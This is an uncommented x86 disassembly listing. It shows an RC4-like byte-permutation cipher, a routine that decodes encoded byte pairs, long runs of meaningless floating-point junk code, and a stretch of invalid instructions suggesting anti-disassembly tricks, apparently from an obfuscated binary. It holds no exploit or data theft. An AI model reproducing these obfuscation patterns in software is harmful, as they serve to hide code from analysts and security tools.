addsd xmm0, qword [ebp - 0x3d34]
movsd qword [ebp - 0x3bc0], xmm0
movsd xmm0, qword [ebp - 0x3d34]
mulsd xmm0, qword [ebp - 0x3cf4]
movsd qword [ebp - 0x3d34], xmm0
movsd xmm0, qword [ebp - 0x3d34]
mulsd xmm0, qword [ebp - 0x3cf4]
movsd qword [ebp - 0x3d34], xmm0
movzx ecx, byte [ebp - 0x3287]
mov dl, byte [ebp - 0x32f6]
mov byte [ebp + ecx - 0x5eb0], dl
movzx eax, byte [ebp - 0x32f6]
movzx ecx, byte [ebp + eax - 0x5eb0]
movzx edx, byte [ebp - 0x32f7]
add edx, ecx
mov byte [ebp - 0x32f7], dl
movzx eax, byte [ebp - 0x32f8]
movzx ecx, byte [ebp - 0x32a6]
movzx edx, byte [ebp + ecx - 0x5eb0]
movzx ecx, byte [ebp - 0x3287]
movzx ecx, byte [ebp + ecx - 0x5eb0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5eb0]
xor eax, edx
movzx ecx, byte [ebp - 0x32a5]
movzx edx, byte [ebp + ecx - 0x5eb0]
movzx ecx, byte [ebp - 0x32d0]
movzx ecx, byte [ebp + ecx - 0x5eb0]
add edx, ecx
movzx ecx, byte [ebp - 0x32f7]
movzx ecx, byte [ebp + ecx - 0x5eb0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5eb0]
movzx ecx, byte [ebp + edx - 0x5eb0]
xor eax, ecx
mov byte [ebp - 0x32a5], al
mov dl, byte [ebp - 0x32f8]
mov byte [ebp - 0x32d0], dl
mov al, byte [ebp - 0x32a5]
mov byte [ebp - 0x3372], al
cmp dword [ebp - 0x33ac], 0
jle 0x42b7d9
movsx cx, byte [ebp - 0x3372]
mov edx, dword [ebp - 0x33ac]
mov word [ebp + edx*2 - 0x10e], cx
jmp 0x42b272
mov eax, dword [ebp - 0x378c]
add eax, 1
mov dword [ebp - 0x378c], eax
mov ecx, dword [ebp - 0x33ac]
add ecx, 1
mov dword [ebp - 0x33ac], ecx
mov edx, dword [ebp - 0x378c]
add edx, 1
mov dword [ebp - 0x378c], edx
mov eax, dword [ebp - 0x33ac]
shl eax, 1
mov dword [ebp - 0x3bf4], eax
mov ecx, dword [ebp - 0x3bf8]
add ecx, dword [ebp - 0x3bf4]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b94], edx
mov dword [ebp - 0x3b98], 0x37
mov eax, dword [ebp - 0x33ac]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3bfc], ecx
mov edx, dword [ebp - 0x3bf8]
add edx, dword [ebp - 0x3bfc]
movzx eax, byte [edx]
mov dword [ebp - 0x3b9c], eax
mov dword [ebp - 0x3ba0], 0x62
mov ecx, dword [ebp - 0x3b94]
sub ecx, dword [ebp - 0x3b98]
mov dword [ebp - 0x3ba4], ecx
mov edx, dword [ebp - 0x3b9c]
sub edx, dword [ebp - 0x3ba0]
mov dword [ebp - 0x3ba8], edx
mov eax, dword [ebp - 0x3ba4]
shl eax, 4
mov dword [ebp - 0x3c00], eax
mov ecx, dword [ebp - 0x3ba8]
mov dword [ebp - 0x3c04], ecx
mov edx, dword [ebp - 0x3c00]
or edx, dword [ebp - 0x3c04]
mov dword [ebp - 0x3c08], edx
mov al, byte [ebp - 0x3c08]
mov byte [ebp - 0x32f8], al
movzx ecx, byte [ebp - 0x32d0]
mov dl, byte [ebp + ecx - 0x5eb0]
mov byte [ebp - 0x32f6], dl
movzx eax, byte [ebp - 0x3287]
movzx ecx, byte [ebp + eax - 0x5eb0]
movzx edx, byte [ebp - 0x32a6]
add edx, ecx
mov byte [ebp - 0x32a6], dl
mov al, byte [ebp - 0x3287]
add al, 1
mov byte [ebp - 0x3287], al
movzx ecx, byte [ebp - 0x32a6]
movzx edx, byte [ebp - 0x32d0]
mov al, byte [ebp + ecx - 0x5eb0]
mov byte [ebp + edx - 0x5eb0], al
movzx ecx, byte [ebp - 0x32a5]
movzx edx, byte [ebp - 0x32a6]
mov al, byte [ebp + ecx - 0x5eb0]
mov byte [ebp + edx - 0x5eb0], al
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp - 0x32a5]
mov al, byte [ebp + ecx - 0x5eb0]
mov byte [ebp + edx - 0x5eb0], al
movzx ecx, byte [ebp - 0x3287]
mov dl, byte [ebp - 0x32f6]
mov byte [ebp + ecx - 0x5eb0], dl
movzx eax, byte [ebp - 0x32f6]
movzx ecx, byte [ebp + eax - 0x5eb0]
movzx edx, byte [ebp - 0x32f7]
add edx, ecx
mov byte [ebp - 0x32f7], dl
movsd xmm0, qword [0xa66f60]
movsd qword [ebp - 0x4218], xmm0
movsd xmm0, qword [0xa66d80]
movsd qword [ebp - 0x4094], xmm0
movsd xmm0, qword [0xa66a50]
movsd qword [ebp - 0x4260], xmm0
movsd xmm0, qword [ebp - 0x4094]
subsd xmm0, qword [ebp - 0x4260]
movsd qword [ebp - 0x4094], xmm0
movsd xmm0, qword [ebp - 0x4094]
addsd xmm0, qword [ebp - 0x4260]
movsd qword [ebp - 0x4094], xmm0
movsd xmm0, qword [ebp - 0x4218]
mulsd xmm0, qword [ebp - 0x4260]
movsd qword [ebp - 0x4218], xmm0
movsd xmm0, qword [ebp - 0x4260]
comisd xmm0, xmmword [ebp - 0x4218]
jbe 0x42bb51
movsd xmm0, qword [ebp - 0x4260]
addsd xmm0, qword [ebp - 0x4094]
movsd qword [ebp - 0x4260], xmm0
movsd xmm0, qword [ebp - 0x4260]
mulsd xmm0, qword [ebp - 0x4094]
movsd qword [ebp - 0x4260], xmm0
movsd xmm0, qword [ebp - 0x4260]
mulsd xmm0, qword [ebp - 0x4094]
movsd qword [ebp - 0x4260], xmm0
movsd xmm0, qword [ebp - 0x4218]
addsd xmm0, qword [ebp - 0x4094]
movsd qword [ebp - 0x4218], xmm0
movsd xmm0, qword [ebp - 0x4218]
mulsd xmm0, qword [ebp - 0x4094]
movsd qword [ebp - 0x4218], xmm0
movsd xmm0, qword [ebp - 0x4218]
addsd xmm0, qword [ebp - 0x4094]
movsd qword [ebp - 0x4218], xmm0
movsd xmm0, qword [ebp - 0x4094]
comisd xmm0, xmmword [ebp - 0x4260]
jbe 0x42bb04
movsd xmm0, qword [ebp - 0x4218]
mulsd xmm0, qword [ebp - 0x4094]
movsd qword [ebp - 0x4218], xmm0
movsd xmm0, qword [ebp - 0x4218]
divsd xmm0, qword [ebp - 0x4094]
movsd qword [ebp - 0x4218], xmm0
movsd xmm0, qword [ebp - 0x4260]
mulsd xmm0, qword [ebp - 0x4218]
movsd qword [ebp - 0x4260], xmm0
jmp 0x42bb4c
movsd xmm0, qword [ebp - 0x4094]
addsd xmm0, qword [ebp - 0x4260]
movsd qword [ebp - 0x4094], xmm0
movsd xmm0, qword [ebp - 0x4218]
mulsd xmm0, qword [ebp - 0x4094]
movsd qword [ebp - 0x4218], xmm0
movsd xmm0, qword [ebp - 0x4094]
subsd xmm0, qword [ebp - 0x4260]
movsd qword [ebp - 0x4094], xmm0
jmp 0x42bc1f
movsd xmm0, qword [ebp - 0x4218]
addsd xmm0, qword [ebp - 0x4260]
movsd qword [ebp - 0x4218], xmm0
movsd xmm0, qword [ebp - 0x4260]
addsd xmm0, qword [ebp - 0x4094]
movsd qword [ebp - 0x4260], xmm0
movsd xmm0, qword [ebp - 0x4094]
addsd xmm0, qword [ebp - 0x4218]
movsd qword [ebp - 0x4094], xmm0
movzx eax, byte [ebp - 0x32f8]
movzx ecx, byte [ebp - 0x32a6]
movzx edx, byte [ebp + ecx - 0x5eb0]
movzx ecx, byte [ebp - 0x3287]
movzx ecx, byte [ebp + ecx - 0x5eb0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5eb0]
xor eax, edx
movzx ecx, byte [ebp - 0x32a5]
movzx edx, byte [ebp + ecx - 0x5eb0]
movzx ecx, byte [ebp - 0x32d0]
movzx ecx, byte [ebp + ecx - 0x5eb0]
add edx, ecx
movzx ecx, byte [ebp - 0x32f7]
movzx ecx, byte [ebp + ecx - 0x5eb0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5eb0]
movzx ecx, byte [ebp + edx - 0x5eb0]
xor eax, ecx
mov byte [ebp - 0x32a5], al
mov dl, byte [ebp - 0x32f8]
mov byte [ebp - 0x32d0], dl
mov al, byte [ebp - 0x32a5]
mov byte [ebp - 0x3372], al
cmp dword [ebp - 0x33ac], 0
jle 0x42bc56
movsx cx, byte [ebp - 0x3372]
mov edx, dword [ebp - 0x33ac]
mov word [ebp + edx*2 - 0x10e], cx
mov eax, dword [ebp - 0x378c]
add eax, 5
mov dword [ebp - 0x378c], eax
mov ecx, dword [ebp - 0x33ac]
add ecx, 1
mov dword [ebp - 0x4bc8], ecx
jmp 0x42bc85
mov edx, dword [ebp - 0x4bc8]
add edx, 1
mov dword [ebp - 0x4bc8], edx
mov eax, dword [ebp - 0x4bc8]
cmp eax, dword [ebp - 0x378c]
jge 0x42bee8
mov ecx, dword [ebp - 0x33ac]
add ecx, 1
mov dword [ebp - 0x33ac], ecx
mov edx, dword [ebp - 0x33ac]
shl edx, 1
mov dword [ebp - 0x3bf4], edx
mov eax, dword [ebp - 0x3bf8]
add eax, dword [ebp - 0x3bf4]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b94], ecx
mov dword [ebp - 0x3b98], 0x37
mov edx, dword [ebp - 0x33ac]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3bfc], eax
mov ecx, dword [ebp - 0x3bf8]
add ecx, dword [ebp - 0x3bfc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b9c], edx
mov dword [ebp - 0x3ba0], 0x62
mov eax, dword [ebp - 0x3b94]
sub eax, dword [ebp - 0x3b98]
mov dword [ebp - 0x3ba4], eax
mov ecx, dword [ebp - 0x3b9c]
sub ecx, dword [ebp - 0x3ba0]
mov dword [ebp - 0x3ba8], ecx
mov edx, dword [ebp - 0x3ba4]
shl edx, 4
mov dword [ebp - 0x3c00], edx
mov eax, dword [ebp - 0x3ba8]
mov dword [ebp - 0x3c04], eax
mov ecx, dword [ebp - 0x3c00]
or ecx, dword [ebp - 0x3c04]
mov dword [ebp - 0x3c08], ecx
mov dl, byte [ebp - 0x3c08]
mov byte [ebp - 0x32f8], dl
movzx eax, byte [ebp - 0x32d0]
mov cl, byte [ebp + eax - 0x5eb0]
mov byte [ebp - 0x32f6], cl
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp + edx - 0x5eb0]
movzx ecx, byte [ebp - 0x32a6]
add ecx, eax
mov byte [ebp - 0x32a6], cl
mov dl, byte [ebp - 0x3287]
add dl, 1
mov byte [ebp - 0x3287], dl
movzx eax, byte [ebp - 0x32a6]
movzx ecx, byte [ebp - 0x32d0]
mov dl, byte [ebp + eax - 0x5eb0]
mov byte [ebp + ecx - 0x5eb0], dl
movzx eax, byte [ebp - 0x32a5]
movzx ecx, byte [ebp - 0x32a6]
mov dl, byte [ebp + eax - 0x5eb0]
mov byte [ebp + ecx - 0x5eb0], dl
movzx eax, byte [ebp - 0x3287]
movzx ecx, byte [ebp - 0x32a5]
mov dl, byte [ebp + eax - 0x5eb0]
mov byte [ebp + ecx - 0x5eb0], dl
movzx eax, byte [ebp - 0x3287]
mov cl, byte [ebp - 0x32f6]
mov byte [ebp + eax - 0x5eb0], cl
movzx edx, byte [ebp - 0x32f6]
movzx eax, byte [ebp + edx - 0x5eb0]
movzx ecx, byte [ebp - 0x32f7]
add ecx, eax
mov byte [ebp - 0x32f7], cl
movzx edx, byte [ebp - 0x32f8]
movzx eax, byte [ebp - 0x32a6]
movzx ecx, byte [ebp + eax - 0x5eb0]
movzx eax, byte [ebp - 0x3287]
movzx eax, byte [ebp + eax - 0x5eb0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5eb0]
xor edx, ecx
movzx eax, byte [ebp - 0x32a5]
movzx ecx, byte [ebp + eax - 0x5eb0]
movzx eax, byte [ebp - 0x32d0]
movzx eax, byte [ebp + eax - 0x5eb0]
add ecx, eax
movzx eax, byte [ebp - 0x32f7]
movzx eax, byte [ebp + eax - 0x5eb0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5eb0]
movzx eax, byte [ebp + ecx - 0x5eb0]
xor edx, eax
mov byte [ebp - 0x32a5], dl
mov cl, byte [ebp - 0x32f8]
mov byte [ebp - 0x32d0], cl
mov dl, byte [ebp - 0x32a5]
mov byte [ebp - 0x3372], dl
cmp dword [ebp - 0x33ac], 0
jle 0x42bee3
movsx ax, byte [ebp - 0x3372]
mov ecx, dword [ebp - 0x33ac]
mov word [ebp + ecx*2 - 0x10e], ax
jmp 0x42bc76
mov edx, dword [ebp - 0x378c]
add edx, 1
mov dword [ebp - 0x378c], edx
mov eax, dword [ebp - 0x33ac]
add eax, 1
mov dword [ebp - 0x33ac], eax
mov ecx, dword [ebp - 0x378c]
add ecx, 1
mov dword [ebp - 0x378c], ecx
mov edx, dword [ebp - 0x33ac]
shl edx, 1
mov dword [ebp - 0x3bf4], edx
mov eax, dword [ebp - 0x3bf8]
add eax, dword [ebp - 0x3bf4]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b94], ecx
mov dword [ebp - 0x3b98], 0x37
mov edx, dword [ebp - 0x33ac]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3bfc], eax
mov ecx, dword [ebp - 0x3bf8]
add ecx, dword [ebp - 0x3bfc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b9c], edx
mov dword [ebp - 0x3ba0], 0x62
mov eax, dword [ebp - 0x3b94]
sub eax, dword [ebp - 0x3b98]
mov dword [ebp - 0x3ba4], eax
mov ecx, dword [ebp - 0x3b9c]
sub ecx, dword [ebp - 0x3ba0]
mov dword [ebp - 0x3ba8], ecx
mov edx, dword [ebp - 0x3ba4]
shl edx, 4
mov dword [ebp - 0x3c00], edx
mov eax, dword [ebp - 0x3ba8]
mov dword [ebp - 0x3c04], eax
mov ecx, dword [ebp - 0x3c00]
or ecx, dword [ebp - 0x3c04]
mov dword [ebp - 0x3c08], ecx
mov dl, byte [ebp - 0x3c08]
mov byte [ebp - 0x32f8], dl
movsd xmm0, qword [0xa66f68]
movsd qword [ebp - 0x476c], xmm0
movsd xmm0, qword [0xa66e88]
movsd qword [ebp - 0x409c], xmm0
movsd xmm0, qword [0xa66ca8]
movsd qword [ebp - 0x4058], xmm0
movsd xmm0, qword [0xa66ad8]
movsd qword [ebp - 0x3fd8], xmm0
movsd xmm0, qword [0xa66858]
movsd qword [ebp - 0x4230], xmm0
movsd xmm0, qword [ebp - 0x4058]
addsd xmm0, qword [ebp - 0x4230]
movsd qword [ebp - 0x4058], xmm0
movsd xmm0, qword [ebp - 0x3fd8]
addsd xmm0, qword [ebp - 0x4230]
movsd qword [ebp - 0x3fd8], xmm0
movsd xmm0, qword [ebp - 0x409c]
subsd xmm0, qword [ebp - 0x4230]
movsd qword [ebp - 0x409c], xmm0
movsd xmm0, qword [ebp - 0x476c]
subsd xmm0, qword [ebp - 0x4230]
movsd qword [ebp - 0x476c], xmm0
movsd xmm0, qword [ebp - 0x409c]
subsd xmm0, qword [ebp - 0x4230]
movsd qword [ebp - 0x409c], xmm0
movsd xmm0, qword [ebp - 0x4230]
comisd xmm0, xmmword [ebp - 0x4058]
jbe 0x42c2a5
movsd xmm0, qword [ebp - 0x409c]
subsd xmm0, qword [ebp - 0x3fd8]
movsd qword [ebp - 0x409c], xmm0
movsd xmm0, qword [ebp - 0x409c]
addsd xmm0, qword [ebp - 0x3fd8]
movsd qword [ebp - 0x409c], xmm0
movsd xmm0, qword [ebp - 0x476c]
addsd xmm0, qword [ebp - 0x4058]
movsd qword [ebp - 0x476c], xmm0
movsd xmm0, qword [ebp - 0x409c]
mulsd xmm0, qword [ebp - 0x3fd8]
movsd qword [ebp - 0x409c], xmm0
movsd xmm0, qword [ebp - 0x3fd8]
addsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x3fd8], xmm0
movsd xmm0, qword [ebp - 0x4058]
mulsd xmm0, qword [ebp - 0x3fd8]
movsd qword [ebp - 0x4058], xmm0
movsd xmm0, qword [ebp - 0x3fd8]
divsd xmm0, qword [ebp - 0x4230]
movsd qword [ebp - 0x3fd8], xmm0
movsd xmm0, qword [ebp - 0x409c]
mulsd xmm0, qword [ebp - 0x4058]
movsd qword [ebp - 0x409c], xmm0
movsd xmm0, qword [ebp - 0x4058]
divsd xmm0, qword [ebp - 0x3fd8]
movsd qword [ebp - 0x4058], xmm0
movsd xmm0, qword [ebp - 0x4058]
addsd xmm0, qword [ebp - 0x3fd8]
movsd qword [ebp - 0x4058], xmm0
movsd xmm0, qword [ebp - 0x476c]
comisd xmm0, xmmword [ebp - 0x3fd8]
jbe 0x42c228
movsd xmm0, qword [ebp - 0x3fd8]
addsd xmm0, qword [ebp - 0x4230]
movsd qword [ebp - 0x3fd8], xmm0
movsd xmm0, qword [ebp - 0x409c]
mulsd xmm0, qword [ebp - 0x4058]
movsd qword [ebp - 0x409c], xmm0
movsd xmm0, qword [ebp - 0x4058]
mulsd xmm0, qword [ebp - 0x3fd8]
movsd qword [ebp - 0x4058], xmm0
movsd xmm0, qword [ebp - 0x409c]
divsd xmm0, qword [ebp - 0x4058]
movsd qword [ebp - 0x409c], xmm0
movsd xmm0, qword [ebp - 0x4230]
subsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x4230], xmm0
jmp 0x42c2a0
movsd xmm0, qword [ebp - 0x409c]
divsd xmm0, qword [ebp - 0x4058]
movsd qword [ebp - 0x409c], xmm0
movsd xmm0, qword [ebp - 0x476c]
subsd xmm0, qword [ebp - 0x409c]
movsd qword [ebp - 0x476c], xmm0
movsd xmm0, qword [ebp - 0x3fd8]
mulsd xmm0, qword [ebp - 0x4230]
movsd qword [ebp - 0x3fd8], xmm0
movsd xmm0, qword [ebp - 0x4058]
addsd xmm0, qword [ebp - 0x3fd8]
movsd qword [ebp - 0x4058], xmm0
movsd xmm0, qword [ebp - 0x3fd8]
mulsd xmm0, qword [ebp - 0x4230]
movsd qword [ebp - 0x3fd8], xmm0
jmp 0x42c331
movsd xmm0, qword [ebp - 0x4058]
mulsd xmm0, qword [ebp - 0x4230]
movsd qword [ebp - 0x4058], xmm0
movsd xmm0, qword [ebp - 0x3fd8]
subsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x3fd8], xmm0
movsd xmm0, qword [ebp - 0x4058]
mulsd xmm0, qword [ebp - 0x4230]
movsd qword [ebp - 0x4058], xmm0
movsd xmm0, qword [ebp - 0x4230]
addsd xmm0, qword [ebp - 0x409c]
movsd qword [ebp - 0x4230], xmm0
movsd xmm0, qword [ebp - 0x4230]
addsd xmm0, qword [ebp - 0x409c]
movsd qword [ebp - 0x4230], xmm0
movzx eax, byte [ebp - 0x32d0]
mov cl, byte [ebp + eax - 0x5eb0]
mov byte [ebp - 0x32f6], cl
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp + edx - 0x5eb0]
movzx ecx, byte [ebp - 0x32a6]
add ecx, eax
mov byte [ebp - 0x32a6], cl
mov dl, byte [ebp - 0x3287]
add dl, 1
mov byte [ebp - 0x3287], dl
movzx eax, byte [ebp - 0x32a6]
movzx ecx, byte [ebp - 0x32d0]
mov dl, byte [ebp + eax - 0x5eb0]
mov byte [ebp + ecx - 0x5eb0], dl
movzx eax, byte [ebp - 0x32a5]
movzx ecx, byte [ebp - 0x32a6]
mov dl, byte [ebp + eax - 0x5eb0]
mov byte [ebp + ecx - 0x5eb0], dl
movzx eax, byte [ebp - 0x3287]
movzx ecx, byte [ebp - 0x32a5]
mov dl, byte [ebp + eax - 0x5eb0]
mov byte [ebp + ecx - 0x5eb0], dl
movzx eax, byte [ebp - 0x3287]
mov cl, byte [ebp - 0x32f6]
mov byte [ebp + eax - 0x5eb0], cl
movzx edx, byte [ebp - 0x32f6]
movzx eax, byte [ebp + edx - 0x5eb0]
movzx ecx, byte [ebp - 0x32f7]
add ecx, eax
mov byte [ebp - 0x32f7], cl
movzx edx, byte [ebp - 0x32f8]
movzx eax, byte [ebp - 0x32a6]
movzx ecx, byte [ebp + eax - 0x5eb0]
movzx eax, byte [ebp - 0x3287]
movzx eax, byte [ebp + eax - 0x5eb0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5eb0]
xor edx, ecx
movzx eax, byte [ebp - 0x32a5]
movzx ecx, byte [ebp + eax - 0x5eb0]
movzx eax, byte [ebp - 0x32d0]
movzx eax, byte [ebp + eax - 0x5eb0]
add ecx, eax
movzx eax, byte [ebp - 0x32f7]
movzx eax, byte [ebp + eax - 0x5eb0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5eb0]
movzx eax, byte [ebp + ecx - 0x5eb0]
xor edx, eax
mov byte [ebp - 0x32a5], dl
mov cl, byte [ebp - 0x32f8]
mov byte [ebp - 0x32d0], cl
mov dl, byte [ebp - 0x32a5]
mov byte [ebp - 0x3372], dl
cmp dword [ebp - 0x33ac], 0
jle 0x42c4a1
movsx ax, byte [ebp - 0x3372]
mov ecx, dword [ebp - 0x33ac]
mov word [ebp + ecx*2 - 0x10e], ax
mov edx, 2
imul eax, edx, 0xe
mov dword [ebp - 0x5418], eax
cmp dword [ebp - 0x5418], 0x1e
jae 0x42c4ba
jmp 0x42c4bf
call fcn.009ea777
xor ecx, ecx
mov edx, dword [ebp - 0x5418]
mov word [ebp + edx - 0x10c], cx
jmp 0x42c525
mov dword [ebp - 0x4978], 0
jmp 0x42c4ec
mov eax, dword [ebp - 0x4978]
add eax, 1
mov dword [ebp - 0x4978], eax
cmp dword [ebp - 0x4978], 0xf
jge 0x42c525
mov ecx, dword [ebp - 0x4978]
shl ecx, 1
mov dword [ebp - 0x5414], ecx
cmp dword [ebp - 0x5414], 0x1e
jae 0x42c50e
jmp 0x42c513
call fcn.009ea777
xor edx, edx
mov eax, dword [ebp - 0x5414]
mov word [ebp + eax - 0x10c], dx
jmp 0x42c4dd
mov dword [ebp - 0x3254], 0
mov dword [ebp - 0x3258], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4774], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4610], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4610], xmm0
jmp 0x42c574
movsd xmm0, qword [ebp - 0x4610]
addsd xmm0, qword [0xa66360]
movsd qword [ebp - 0x4610], xmm0
movsd xmm0, qword [0xa66930]
comisd xmm0, xmmword [ebp - 0x4610]
jbe 0x42c625
movsd xmm0, qword [0xa66688]
mulsd xmm0, qword [ebp - 0x4610]
mulsd xmm0, qword [ebp - 0x4610]
movsd xmm1, qword [ebp - 0x4610]
mulsd xmm1, qword [ebp - 0x4610]
subsd xmm0, xmm1
movsd xmm1, qword [0xa66400]
mulsd xmm1, qword [ebp - 0x4610]
mulsd xmm1, qword [ebp - 0x4610]
addsd xmm1, qword [0xa664e8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4774]
movsd qword [ebp - 0x4774], xmm0
movsd xmm0, qword [ebp - 0x4774]
comisd xmm0, xmmword [0xa66538]
jbe 0x42c620
movsd xmm0, qword [0xa662d8]
mulsd xmm0, qword [ebp - 0x4610]
movsd xmm1, qword [ebp - 0x4774]
subsd xmm1, xmm0
movsd qword [ebp - 0x4774], xmm1
jmp 0x42c55c
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4774]
jbe 0x42c653
je 0x42c642
jae 0x42c646
jno 0x42c64f
jae 0x42c642
jns 0x42c648
xor byte [ecx + 0x6c], bl
xor dword [edx], esi
xor ebx, dword [ebx + 0x76]
pop ecx
pop ebx
jbe 0x42c69e
pushal
jge 0x42c6bd
push ebx
pop edi
dec esp
and cx, word [ebx - 0x17]
jns 0x42c663
add byte [eax], al
mov dword [ebp - 0x3254], 0x42c632
mov dword [ebp - 0x3258], 0x42c63c
mov ecx, dword [ebp - 0x3254]
mov dword [ebp - 0x4130], ecx
mov edx, dword [ebp - 0x3258]
mov dword [ebp - 0x6798], edx
mov byte [ebp - 0x402c], 0x16
mov dword [ebp - 0x3858], 0
jmp 0x42c6a1
cmp al, 0xc6
inc edx
add byte [ebx - 0x325373], cl
dec dword [ecx - 0x412f73]
dec dword [ebx - 0x32576b]
dec dword [ecx - 0x67976b]
inc esi
test esp, edx
mov edi, 0xc716ffff
test dword [eax + 0xffffc7], ebp
add byte [eax], al
add bl, ch
jnp 0xa6f1c
mov eax, dword [ebp - 0x3858]
add eax, 1
mov dword [ebp - 0x3858], eax
inc dword [ebx - 0x7a76fe40]
test al, 0xc7
invalid
invalid
cmp dword [ebp - 0x3858], 0x100
jae 0x42c6c2
mov ecx, dword [ebp - 0x3858]
mov dl, byte [ebp - 0x3858]
mov byte [ebp + ecx - 0x68a4], dl
jmp 0x42c692
xchg edi, eax
invalid
mov dword [ebp - 0x4540], 0
mov byte [ebp - 0x3369], 0
mov dword [ebp - 0x3858], 0xff
jmp 0x42c6ee
mov eax, dword [ebp - 0x3858]
sub eax, 1
mov dword [ebp - 0x3858], eax
cmp dword [ebp - 0x3858], 0
jbe 0x42c95e
mov dword [ebp - 0x4bcc], 0
mov dword [ebp - 0x497c], 1
mov ecx, dword [ebp - 0x497c]
cmp ecx, dword [ebp - 0x3858]
jae 0x42c72f
mov edx, dword [ebp - 0x497c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x497c], eax
jmp 0x42c70f
mov ecx, dword [ebp - 0x4540]
mov dword [ebp - 0x5410], ecx
cmp dword [ebp - 0x5410], 3
ja case.default.0x42c74e
mov edx, dword [ebp - 0x5410]
jmp dword [edx*4 + 0x46cda4]
movzx eax, byte [ebp - 0x3369]
movzx ebx, byte [ebp + eax - 0x68a4]
movsd xmm0, qword [ebp - 0x4774]
call fcn.009eac50
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3369], bl
jmp 0x42c837
movzx ecx, byte [ebp - 0x3369]
movzx ebx, byte [ebp + ecx - 0x68a4]
movsd xmm0, qword [ebp - 0x4774]
call fcn.009eac50
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3369], bl
jmp 0x42c837
movzx edx, byte [ebp - 0x3369]
movzx ebx, byte [ebp + edx - 0x68a4]
movsd xmm0, qword [ebp - 0x4774]
call fcn.009eac50
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3369], bl
jmp 0x42c837
movzx eax, byte [ebp - 0x3369]
movzx ebx, byte [ebp + eax - 0x68a4]
movsd xmm0, qword [ebp - 0x4774]
call fcn.009eac50
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3369], bl
jmp 0x42c837
movzx ecx, byte [ebp - 0x3369]
movzx edx, byte [ebp + ecx - 0x68a4]
mov eax, dword [ebp - 0x6798]
add eax, dword [ebp - 0x4540]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x3369], dl
mov edx, dword [ebp - 0x4540]
add edx, 1
mov dword [ebp - 0x4540], edx
movzx eax, byte [ebp - 0x402c]
cmp dword [ebp - 0x4540], eax
jb 0x42c875
mov dword [ebp - 0x4540], 0
movzx ecx, byte [ebp - 0x402c]
movzx edx, byte [ebp - 0x3369]
add edx, ecx
mov byte [ebp - 0x3369], dl
movzx eax, byte [ebp - 0x3369]
and eax, dword [ebp - 0x497c]
mov dword [ebp - 0x4290], eax
mov ecx, dword [ebp - 0x4bcc]
add ecx, 1
mov dword [ebp - 0x4bcc], ecx
cmp dword [ebp - 0x4bcc], 0xb
jbe 0x42c8b4
mov eax, dword [ebp - 0x4290]
xor edx, edx
div dword [ebp - 0x3858]
mov dword [ebp - 0x4290], edx
mov edx, dword [ebp - 0x4290]
cmp edx, dword [ebp - 0x3858]
ja 0x42c72f
mov eax, dword [ebp - 0x3858]
cmp eax, dword [ebp - 0x4290]
je 0x42c959
mov ecx, dword [ebp - 0x4290]
movzx edx, byte [ebp + ecx - 0x68a4]
mov eax, dword [ebp - 0x3858]
movzx ecx, byte [ebp + eax - 0x68a4]
xor ecx, edx
mov edx, dword [ebp - 0x3858]
mov byte [ebp + edx - 0x68a4], cl
mov eax, dword [ebp - 0x3858]
movzx ecx, byte [ebp + eax - 0x68a4]
mov edx, dword [ebp - 0x4290]
movzx eax, byte [ebp + edx - 0x68a4]
xor eax, ecx
mov ecx, dword [ebp - 0x4290]
mov byte [ebp + ecx - 0x68a4], al
mov edx, dword [ebp - 0x4290]
movzx eax, byte [ebp + edx - 0x68a4]
mov ecx, dword [ebp - 0x3858]
movzx edx, byte [ebp + ecx - 0x68a4]
xor edx, eax
mov eax, dword [ebp - 0x3858]
mov byte [ebp + eax - 0x68a4], dl
jmp 0x42c6df
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x68a4]
mov byte [ebp - 0x32ba], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x68a4]
mov byte [ebp - 0x32e2], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x68a4]
mov byte [ebp - 0x333b], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x68a4]
mov byte [ebp - 0x32e3], dl
movzx eax, byte [ebp - 0x3369]
mov cl, byte [ebp + eax - 0x68a4]
mov byte [ebp - 0x3309], cl
mov dword [ebp - 0x540c], 0xa
cmp dword [ebp - 0x540c], 2
jle 0x42d87b
mov edx, dword [ebp - 0x540c]
and edx, 1
jne 0x42d87b
mov dword [ebp - 0x34ac], 0
mov dword [ebp - 0x4128], 0
mov eax, dword [ebp - 0x4128]
add eax, 1
